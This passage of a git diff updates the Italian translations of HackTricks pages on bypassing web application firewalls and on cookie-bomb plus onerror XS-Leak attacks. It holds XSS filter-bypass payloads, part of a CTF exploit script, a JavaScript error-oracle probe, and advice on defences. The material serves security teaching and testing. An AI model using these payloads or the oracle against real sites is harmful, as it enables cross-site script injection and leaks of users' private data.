-- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): Un numero dinamicamente determinato di istanze di container viene attivato in base alla dimensione del file di input e al fattore di suddivisione, con l'input suddiviso in blocchi per l'esecuzione parallela, come 100 istanze che elaborano 100 blocchi da un file di input di 10.000 righe con un fattore di suddivisione di 100 righe.
+- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Plugin di Burp Suite che usa IP di API gateway
+- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): Un numero di istanze container determinato dinamicamente viene attivato in base alla dimensione del file di input e al fattore di split, con l'input suddiviso in chunk per esecuzione parallela; ad esempio 100 istanze che processano 100 chunk da un file di 10.000 righe con un fattore di split di 100 righe.
 - [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
 
 ### Regex Bypasses
 
-Possono essere utilizzate diverse tecniche per bypassare i filtri regex sui firewall. Esempi includono l'alternanza di maiuscole e minuscole, l'aggiunta di interruzioni di riga e la codifica dei payload. Risorse per i vari bypass possono essere trovate su [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) e [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). Gli esempi di seguito sono stati estratti da [questo articolo](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).
+Diverse tecniche possono essere usate per bypassare i filtri regex sui firewall. Esempi includono alternare maiuscole/minuscole, inserire interruzioni di linea e codificare i payloads. Risorse per i vari bypass si trovano su [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) e [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). Gli esempi seguenti sono stati presi da [this article](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).
 ```bash
 <sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
 <<script>alert(XSS)</script> #prepending an additional "<"
@@ -219,7 +220,7 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri
 ```
 ## Strumenti
 
-- [**nowafpls**](https://github.com/assetnote/nowafpls): plugin di Burp per aggiungere dati spazzatura alle richieste per bypassare i WAF per lunghezza
+- [**nowafpls**](https://github.com/assetnote/nowafpls): Burp plugin per aggiungere dati di riempimento alle richieste per bypassare i WAFs basandosi sulla lunghezza
 
 ## Riferimenti
 
@@ -227,7 +228,7 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri
 - [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
 - [https://www.youtube.com/watch?v=0OMmWtU2Y_g](https://www.youtube.com/watch?v=0OMmWtU2Y_g)
 - [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
-- [Come ho trovato un takeover dell'account a 0 clic in un BBP pubblico e l'ho sfruttato per accedere a funzionalità di livello Admin](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
+- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
 
 
 {{#include ../banners/hacktricks-training.md}}

src/pentesting-web/xs-search/cookie-bomb-+-onerror-xs-leak.md

@@ -2,7 +2,24 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-Il seguente **script** preso da [**qui**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) sfrutta una funzionalità che consente all'utente di **inserire qualsiasi quantità di cookie**, e poi caricare un file come script sapendo che la vera risposta sarà più grande di quella falsa e poi. Se ha successo, la risposta è un reindirizzamento con un URL risultante più lungo, **troppo grande per essere gestito dal server quindi restituisce un codice di stato http di errore**. Se la ricerca fallisce, non succederà nulla perché l'URL è breve.
+Questa tecnica combina:
+- Cookie bombing: riempire il browser della vittima con molti/grandi cookies per l'origine target in modo che le richieste successive raggiungano i limiti del server/della richiesta (dimensione degli header della richiesta, lunghezza dell'URL nei redirect, ecc.).
+- Error-event oracle: sondare un endpoint cross-origin con un <script> (o un'altra subresource) e distinguere gli stati usando onload vs onerror.
+
+Idea ad alto livello
+- Trova un endpoint target il cui comportamento differisce per due stati che vuoi testare (es., ricerca “hit” vs “miss”).
+- Assicurati che il percorso “hit” scateni una catena di redirect pesante o un URL lungo mentre il percorso “miss” rimanga corto. Gonfia gli header della richiesta usando molti cookies in modo che solo il percorso “hit” faccia sì che il server fallisca con un errore HTTP (es., 431/414/400). L'errore innesca l'evento onerror e diventa un oracle per XS-Search.
+
+Quando funziona
+- Puoi far sì che il browser della vittima invii cookies al target (es., i cookies sono SameSite=None oppure puoi impostarli in un contesto first-party tramite un popup window.open).
+- C'è una funzionalità dell'app che puoi abusare per impostare cookies arbitrari (es., endpoint “save preference” che trasformano input controllati in Set-Cookie) oppure per effettuare redirect post-auth che incorporano dati controllati dall'attaccante nell'URL.
+- Il server reagisce diversamente nei due stati e, con header/URL gonfiati, uno degli stati oltrepassa un limite e restituisce una risposta di errore che innesca onerror.
+
+Nota sugli errori del server usati come oracle
+- 431 Request Header Fields Too Large viene comunemente restituito quando i cookies gonfiano gli header della richiesta; 414 URI Too Long o un 400 specifico del server possono essere restituiti per target di richiesta lunghi. Qualsiasi di questi provoca il fallimento del caricamento della subresource e fa scattare onerror. [MDN documents 431 and typical causes like excessive cookies.]()
+
+Esempio pratico (angstromCTF 2022)
+Lo script seguente (tratto da un writeup pubblico) abusa di una funzionalità che permette all'attaccante di inserire cookies arbitrari, poi carica un endpoint di ricerca cross-origin come script. Quando la query è corretta, il server esegue un redirect che, insieme al gonfiore dei cookies, supera i limiti del server e restituisce uno status di errore, quindi script.onerror viene eseguito; altrimenti non succede nulla.
 ```html
 <>'";
 <form action="https://sustenance.web.actf.co/s" method="POST">
@@ -57,4 +74,53 @@ break
 }
 </script>
 ```
+Perché il popup (window.open)?
+- I browser moderni bloccano sempre più i third-party cookies. Aprire una top-level window verso il target rende i cookie first‑party, quindi le risposte Set-Cookie dal target rimarranno attive, abilitando il cookie-bomb step anche con restrizioni sui third-party cookies.
+
+Helper di probing generico
+Se hai già un modo per impostare molti cookie sull'origin target (first-party), puoi riutilizzare questa minimal oracle contro qualsiasi endpoint il cui successo/fallimento porti a diversi esiti di rete (status/MIME/redirect):
+```js
+function probeError(url) {
+return new Promise((resolve) => {
+const s = document.createElement('script');
+s.src = url;
+s.onload = () => resolve(false);  // loaded successfully
+s.onerror = () => resolve(true);  // failed (e.g., 4xx/5xx, wrong MIME, blocked)
+document.head.appendChild(s);
+});
+}
+```
+Consigli per costruire l'oracolo
+- Forza lo stato “positivo” a essere più pesante: concatena un redirect aggiuntivo solo quando la condizione è vera, oppure fai in modo che l'URL di redirect rifletta input utente illimitato in modo che cresca col prefisso indovinato.
+- Inflate headers: ripeti il cookie bombing finché non si osserva un errore consistente nel percorso “pesante”. I server comunemente limitano la dimensione degli header e falliranno prima quando sono presenti molti cookie.
+- Stabilizza: avvia più operazioni parallele di impostazione cookie e esegui sonde ripetute per mediere il rumore di timing e caching.
+
+Related XS-Search tricks
+- Oracoli basati sulla lunghezza dell'URL (non servono cookie) possono essere combinati o usati in alternativa quando puoi forzare un target di richiesta molto lungo:
+
+{{#ref}}
+url-max-length-client-side.md
+{{#endref}}
+
+Difese e hardening
+- Rendi le risposte di successo/fallimento indistinguibili:
+- Evita redirect condizionali o grandi differenze nella dimensione della risposta tra gli stati. Restituisci lo stesso status, lo stesso content type e una lunghezza del body simile indipendentemente dallo stato.
+- Blocca le sonde su subresource cross-site:
+- SameSite cookies: imposta i cookie sensibili su SameSite=Lax o Strict in modo che le richieste di subresource come <script src> non li trasportino; preferisci Strict per i token di autenticazione quando possibile.
+- Fetch Metadata: applica una Resource Isolation Policy per rifiutare i caricamenti di subresource cross-site (es. se Sec-Fetch-Site != same-origin/same-site).
+- Cross-Origin-Resource-Policy (CORP): imposta CORP: same-origin (o almeno same-site) per endpoint che non devono essere incorporati come cross-origin subresources.
+- X-Content-Type-Options: nosniff e Content-Type corretto sugli endpoint JSON/HTML per evitare quirks di load-as-script.
+- Riduci l'amplificazione di header/URL:
+- Limita il numero/la dimensione dei cookie impostati; sanitizza le funzionalità che trasformano campi di form arbitrari in Set-Cookie.
+- Normalizza o tronca i dati riflessi nei redirect; evita di incorporare stringhe lunghe controllate dall'attaccante nelle Location URL.
+- Mantieni limiti server consistenti e fai fallire in modo uniforme (evita pagine di errore speciali solo per un ramo).
+
+Note
+- Questa classe di attacchi è discussa ampiamente come “Error Events” in XS-Leaks. Il passaggio del cookie-bomb è solo un modo comodo per spingere un solo ramo oltre i limiti del server, producendo un oracolo booleano affidabile.
+
+
+
+## Riferimenti
+- XS-Leaks: Error Events (onerror/onload come oracolo): https://xsleaks.dev/docs/attacks/error-events/
+- MDN: 431 Request Header Fields Too Large (comune con molti cookie): https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/431
 {{#include ../../banners/hacktricks-training.md}}